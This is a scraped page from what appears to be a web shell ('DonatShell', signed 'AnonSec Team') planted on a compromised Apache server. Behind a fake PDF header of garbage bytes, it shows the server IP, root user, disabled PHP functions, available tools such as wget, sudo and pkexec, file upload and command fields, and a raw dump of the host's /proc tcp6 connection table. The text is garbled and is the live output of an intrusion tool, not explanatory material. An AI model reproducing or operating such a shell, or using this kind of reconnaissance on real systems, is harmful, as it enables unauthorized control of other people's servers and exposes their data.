%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/1396/task/1396/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/1396/task/1396/net//tcp6
  sl  local_address                         remote_address                        st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 00000000000000000000000000000000:0050 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 5078673 1 0000000000000000 100 0 0 10 0
   1: 00000000000000000000000000000000:2710 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 24075 1 0000000000000000 100 0 0 10 0
   2: 00000000000000000000000000000000:07D2 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 15735 1 0000000000000000 100 0 0 10 0
   3: 00000000000000000000000000000000:01BB 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 5078677 1 0000000000000000 100 0 0 10 0
   4: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:B383 01 00000AB1:00000000 01:0000001C 00000000    33        0 6645036 3 0000000000000000 47 4 1 10 82
   5: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:2D03 06 00000000:00000000 03:00001327 00000000     0        0 0 3 0000000000000000
   6: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:4241 06 00000000:00000000 03:000013E2 00000000     0        0 0 3 0000000000000000
   7: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:2D44 06 00000000:00000000 03:000014C5 00000000     0        0 0 3 0000000000000000
   8: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:731C 06 00000000:00000000 03:00000633 00000000     0        0 0 3 0000000000000000
   9: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:EF2C 06 00000000:00000000 03:0000133A 00000000     0        0 0 3 0000000000000000
  10: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:3F73 01 000009C6:00000000 01:0000001A 00000000    33        0 6649963 3 0000000000000000 48 4 0 10 82
  11: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:7D44 06 00000000:00000000 03:000000E5 00000000     0        0 0 3 0000000000000000
  12: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:4688 06 00000000:00000000 03:000013EE 00000000     0        0 0 3 0000000000000000
  13: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:E5F1 01 00000000:00000000 02:000AFCD9 00000000    33        0 6648875 2 0000000000000000 48 4 0 10 82
  14: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:CB01 06 00000000:00000000 03:000011F0 00000000     0        0 0 3 0000000000000000
  15: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF00003ACFAB14:89E0 01 00000000:00000000 02:000AE9A6 00000000    33        0 6644045 2 0000000000000000 41 4 25 10 -1
  16: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:43CF 06 00000000:00000000 03:00000334 00000000     0        0 0 3 0000000000000000
  17: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:68BA 06 00000000:00000000 03:0000131B 00000000     0        0 0 3 0000000000000000
  18: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:13E6 06 00000000:00000000 03:00000330 00000000     0        0 0 3 0000000000000000
  19: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:A508 01 000009C4:00000000 01:0000002A 00000000    33        0 6628810 3 0000000000000000 47 4 0 10 82
  20: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:7A6D 06 00000000:00000000 03:00000FA0 00000000     0        0 0 3 0000000000000000
  21: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:A2C4 06 00000000:00000000 03:00000996 00000000     0        0 0 3 0000000000000000
  22: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:B5FD 06 00000000:00000000 03:00000BED 00000000     0        0 0 3 0000000000000000
  23: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:946B 06 00000000:00000000 03:00001200 00000000     0        0 0 3 0000000000000000
  24: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:6071 06 00000000:00000000 03:00001466 00000000     0        0 0 3 0000000000000000
  25: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:87BA 06 00000000:00000000 03:00000C09 00000000     0        0 0 3 0000000000000000
  26: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:46F2 06 00000000:00000000 03:00001405 00000000     0        0 0 3 0000000000000000
  27: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:45CA 06 00000000:00000000 03:00001331 00000000     0        0 0 3 0000000000000000
  28: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:CAA2 01 00000000:00000000 02:000AFCD9 00000000    33        0 6614974 3 0000000000000000 50 4 0 10 82

Anon7 - 2022
AnonSec Team